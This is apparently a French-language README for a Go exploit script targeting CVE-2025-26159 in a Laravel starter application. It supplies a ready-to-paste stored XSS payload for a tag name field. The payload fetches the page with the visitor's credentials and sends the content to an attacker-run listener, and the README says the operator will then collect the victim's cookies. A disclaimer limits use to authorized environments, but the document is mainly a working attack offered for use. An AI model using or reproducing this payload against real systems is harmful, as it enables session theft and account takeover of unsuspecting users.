godbadtry/cve-2025-26159Script d'exploitation basé sur Go pour CVE-2025-26159 qui décode, filtre et extrait les cookies des applications Laravel via une injection de charge utile XSS stockée.
Ce script ne peut être utilisé que dans des environnements autorisés où une permission explicite a été accordée. L'auteur n'est pas responsable de toute utilisation abusive, des dommages ou des conséquences résultant de l'utilisation de ce script.
Ce script décode, filtre et extrait les cookies dans le cadre de l'exploitation de CVE-2025-26159.
Pour comprendre les étapes d'exploitation, consultez cet article sur mon blog.
go run CVE-2025-26159.go
Dans le champ du nom du tag de laravel starter, ajoutez cette charge utile :
<script>fetch("/",{credentials:"include"}).then(r=>r.text()).then(d=>location='//127.1:9000/d='+escape(d))</script>
Après qu'un utilisateur visite la page de détail du tag malveillant, vous récupérerez ses cookies.